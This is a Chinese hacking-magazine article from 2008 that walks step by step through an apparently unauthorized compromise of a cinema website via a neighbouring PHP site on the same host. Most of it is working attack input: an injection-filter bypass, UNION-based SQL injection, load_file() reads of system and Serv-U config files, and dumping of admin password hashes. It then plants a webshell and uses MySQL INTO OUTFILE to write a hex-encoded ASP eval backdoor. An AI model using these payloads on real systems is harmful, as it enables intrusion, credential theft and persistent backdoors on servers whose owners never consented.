一次简单的php注入利用
题目:一次简单的php注入利用
作者:冷颜
此文章已发表在《黑客X档案》2008年第7期杂志上
如转载请务必保留此信息!
最近大片比较多,所以在网上时有关注电影院里的电影上映排档,于是有了下面针对本市某电影网的综合检测的过程。
一.信息收集
通过扫描得知目标服务器开放了21,80两个端口,而目标站点采用的是ASP的整站程序,在www.114best.com查询发现服务器上绑定了4个域名(图1)
,确定服务器是个虚拟主机,其中三个是与目标站类似的ASP整站系统,而另外一个则是PHP架构的网站。
先从目标站入手,点开个链接开始测试是否存在注入漏洞。提交
http://www.testAsp.com/gb/action_detail.asp?nid=90’
立刻弹出了错误提示,试下转换把i换成%69继续提交
http://www.testAsp.com/gb/action_detail.asp?n%69d=90 and 1=1
http://www.testAsp.com/gb/action_detail.asp?n%69d=90 and 1=2
绕过了防(图2)
,这个主要是因为防注代码过滤不严造成的,只对’nid’进行过滤,我们只要把’nid’转换一下格式就可以了。
这个注点权限是pulic,而利用NBSI暴管理员字段的时候也出现了错误,暂时用途不大,通过跨库发现数据库有很多,可以猜测该服务器绑定的域名不只有4个。
二.PHP旁注
经过测试其他两个ASP系统的注射点同样是public权限,所以只能从PHP站入手了。直接找出了一个注射点,提交
http://www.testPhp.gov.cn/news_detail.php?nid=3031’
暴出了网站路径(图3)
D:\www.testPhp.gov.cn\ ,
通过这个路径可以推测一下目标站的路径是D:\www.testAsp.com,而这个猜测可以通过load_file()去读取该站的一个asp文件是否存在来证实。
利用oder by num 确定出该注射点的列名数量,提交
http://www.testPhp.gov.cn/news_detail.php?nid=3031 order by 15
http://www.testPhp.gov.cn/news_detail.php?nid=3031 order by 16
提交到16的时候出现了图3的错误,确定列名数量是15。
继续提交
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
只有第5列和第14列的内容是显示到页面上的,选择区域大的14进行load_file,
先试下读取c:\boot.ini,提交
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,load_file(’c:/boot.ini’),15
返回图3错误,这是因为PHP环境里的magic_quote设置为on了,magic_quote是一个自动将进入 PHP 脚本的数据进行转义的过程,当设置为on时,所有的单引号(’),双引号("),反斜线(\)和NULL字符都会被自动加上一个反斜线进行转义。但是只要把要load的内容转换成16进制就可以绕开转义了,我这里用的是小葵的转换工具,继续提交
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,load_file(0x633A5C626F6F742E696E69),15
出来了系统版本(图4)
,试验成功了就可以去load其他路径的文件了,首先用D盘做路径load了一下目标站的一个asp,发现目标站点并不在D盘,而用桂林老兵的WebTools对Php站进行路径扫描后也没发现后台,旁注一时陷入了困境,陷入了拿到管理员密码也没后台登陆的局面。
三.新的缺口
无奈之下只能靠猜路径了,要得到网站位置和结构,最好的方法无疑是去load ServU的配置文件,从c盘开始试c:\program files\serv-u\servudaemon.ini,c:\serv-u\servudaemon.ini,结果到D盘的时候load出了配置文件(图5)
,路径是d:\serv-u\ServUdaemon.ini。从配置文件里几乎包含了所有站点的后台和数据库目录,后台路径是/maintain/,而目标站点的路径原来是e:\www\www.testAsp.com。有了后台地址就可以暴管理员的密码了,点开管理员登陆页面查看原码,通过action找到验证登陆的php文件,代码如下。
$uname=$HTTP_POST_VARS["user"];
$upass=md5($HTTP_POST_VARS["password"]);
$query="select uid,uname,uadmin,utname,upermit from admintab where uname=’$uname’ and upass=’$upass’";
顺利拿到用户列uname,密码列upass和管理员表admintab,通过代码可以看到密码经过md5加密的,但是仍然可以碰下运气。
接着就可以暴密码了,提交
http://www.testPhp.gov.cn/news_detail.php?nid=3031 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,concat(uname,0x7c,upass),15 from admintab
得到管理员帐号和密码(图6)
,在cmd5里查询得出的密码明文是1234,顺利登进了后台。
四.跨目录传Webshell
继续在后台里寻找利用的地方时,发现增加资料模块调用的是PHP版的eWebEditor(图7)
,于是下了套php版的eWebEditor回来分析,发现PHP版的登陆帐户和密码是明文保存在/php/config.php里,所以只要load出这个配置文件,就可以登陆进去了(图8)
。关于asp版的eWebEditor拿webshell的方法大家都十分熟悉了,而PHP版的用的同样也是在样式里添加后门格式的办法,限于篇幅这里就不做详细说明了。最后成功得到了一个phpshell,因为我们的目标站在E盘,而服务器配置限制了目录跳转,所以这时还能利用的是权限较高的MySql了,在phpMyadmin目录里的config.inc.php里找到了数据库连接代码,内容如下。
$cfg[’Servers’][$i][’host’] = ’localhost’;
$cfg[’Servers’][$i][’extension’] = ’mysql’;
$cfg[’Servers’][$i][’port’] = ’3306’;
$cfg[’Servers’][$i][’connect_type’] = ’tcp’;
$cfg[’Servers’][$i][’compress’] = false;
$cfg[’Servers’][$i][’controluser’] = ’root’;
$cfg[’Servers’][$i][’controlpass’] = ’’;
在PhpSpy里有MySQL Manager功能,首先用root用户和空密码连接上MySql,然后再利用MySql的输出功能来导出一个aspshell到目标站点,连接后选择一个数据库,然后依次执行以下SQL。
create table x(cmd text) 建立一个数据表,列名为cmd,格式是text
insert into x values(0x3C256576616C20726571756573742822612229253E20) 插入经过16进制转换的asp一句话木马
select * from x 查询写入内容(图9)
select * from x into outfile ’e:/www/www.testAsp.com/sand.asp’ 导出一句话木马到目标站点,最后成功拿到目标站点的控制权(图10)
。